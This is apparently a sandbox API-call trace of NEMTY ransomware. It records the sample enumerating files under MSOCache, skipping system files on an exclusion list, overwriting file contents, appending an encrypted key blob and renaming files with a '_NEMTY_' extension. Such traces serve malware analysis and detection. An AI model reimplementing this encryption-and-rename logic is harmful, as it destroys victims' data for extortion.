Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0050.533] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=6421) returned 1 [0050.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1910) returned 0x6346d48 [0050.533] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.533] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x1910, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x1910, lpOverlapped=0x0) returned 1 [0050.536] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.536] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x1910, lpOverlapped=0x0) returned 1 [0050.537] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.537] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=6421, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1915 [0050.537] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.537] CloseHandle (hObject=0x3c8) returned 1 [0050.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0050.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0050.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.538] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0050.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0050.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0050.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0050.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.538] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml._nemty_kgobjgd_")) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.539] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6c87b0c0, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x6c87b0c0, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa6b67930, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x9b6ba9f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PrjPrrWW.cab", cAlternateFileName="")) returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2=".") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="..") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="...") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="windows") returned -1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="$RECYCLE.BIN") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="rsa") returned -1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="NTDETECT.COM") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="ntldr") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="MSDOS.SYS") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="IO.SYS") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="boot.ini") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="boot.ini") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="AUTOEXEC.BAT") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="ntuser.dat") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="desktop.ini") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="CONFIG.SYS") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="RECYCLER") returned -1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="BOOTSECT.BAK") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="bootmgr") returned 1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="programdata") returned -1 [0050.539] lstrcmpiW (lpString1="PrjPrrWW.cab", lpString2="appdata") returned 1 [0050.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjPrrWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.539] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjPrrWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjPrrWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.540] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PrjPrrWW.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PrjPrrWW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.540] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.540] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x69dde270, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x69dde270, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa8191670, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x150578, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="setup.exe", cAlternateFileName="")) returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2=".") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="..") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="...") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="windows") returned -1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="$RECYCLE.BIN") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="rsa") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="NTDETECT.COM") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="ntldr") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="MSDOS.SYS") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="IO.SYS") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="boot.ini") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="boot.ini") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="AUTOEXEC.BAT") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="ntuser.dat") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="desktop.ini") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="CONFIG.SYS") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="RECYCLER") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="BOOTSECT.BAK") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="bootmgr") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="programdata") returned 1 [0050.540] lstrcmpiW (lpString1="setup.exe", lpString2="appdata") returned 1 [0050.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.exe", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.exe", lpUsedDefaultChar=0x0) returned 9 [0050.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.541] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0050.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.541] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7ca00570, ftCreationTime.dwHighDateTime=0x1cb148c, ftLastAccessTime.dwLowDateTime=0x7ca00570, ftLastAccessTime.dwHighDateTime=0x1cb148c, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0050.541] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0050.542] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0050.542] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0050.542] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0050.542] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0050.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0050.542] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0050.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.542] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.542] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0050.542] Sleep (dwMilliseconds=0x5) [0050.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1cccfd0, dwHighDateTime=0x1d561e7)) [0050.557] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd1cccfd0, dwHighDateTime=0x1d561e7)) [0050.557] GetLastError () returned 0x0 [0050.557] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.557] GetLastError () returned 0x0 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0050.558] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0050.558] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0050.558] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0050.558] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="Vl9uNIL/o1DW/5L/OIL9SezfBecXsqA2cB/KqAgcrltke2uIJfjHwSdGAenbqL27\r\nXbdgV0IAJsZHcuksbzJTQ+J8aIhUE/RjyJvyEAQGTLvkk42LYrFlARe8fEMeJmGj\r\nvyLqIAgTc7nrbNEJ4S4ANIsfU2rP+Jeynf3Hkb2FE1F5+7Bc7cWSHr6EqabT6/gP\r\nolax7zsHg5yyzxgzZYhKJtksDMLvcvuL/7JfEin9P+ic//en+DQeu//hJYNzzf5O\r\nTQXIgql5xzf7sZw2OqU0NgIodysbQOWvJvpQo7O7iYJ4r3RuFE6Ecb8OabugfcBd\r\nInFMCmx30HqX8yLjRb0Dzg==\r\n", pcchString=0x653ef9c) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0050.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0050.558] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0050.558] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0050.558] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=16683) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4120) returned 0x6346d48 [0050.558] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.558] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x4120, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x4120, lpOverlapped=0x0) returned 1 [0050.561] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0050.561] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x4120, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x4120, lpOverlapped=0x0) returned 1 [0050.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.562] 